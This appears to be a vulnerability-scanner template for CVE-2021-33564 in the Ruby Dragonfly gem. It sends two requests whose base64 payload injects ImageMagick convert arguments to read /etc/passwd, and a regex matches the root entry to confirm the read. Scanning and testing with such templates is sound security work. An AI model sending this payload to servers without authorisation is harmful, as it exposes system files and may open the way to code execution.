id: CVE-2021-33564

info:
  name: Argument Injection in Ruby Dragonfly
  author: 0xsapra
  severity: critical
  description: An argument injection vulnerability in the Dragonfly gem before 1.4.0 for Ruby allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled.
    This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.
  reference:
    - https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33564
    cwe-id: CWE-88
  tags: cve,cve2021,rce,ruby,injection

requests:
  - method: GET
    path:
      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"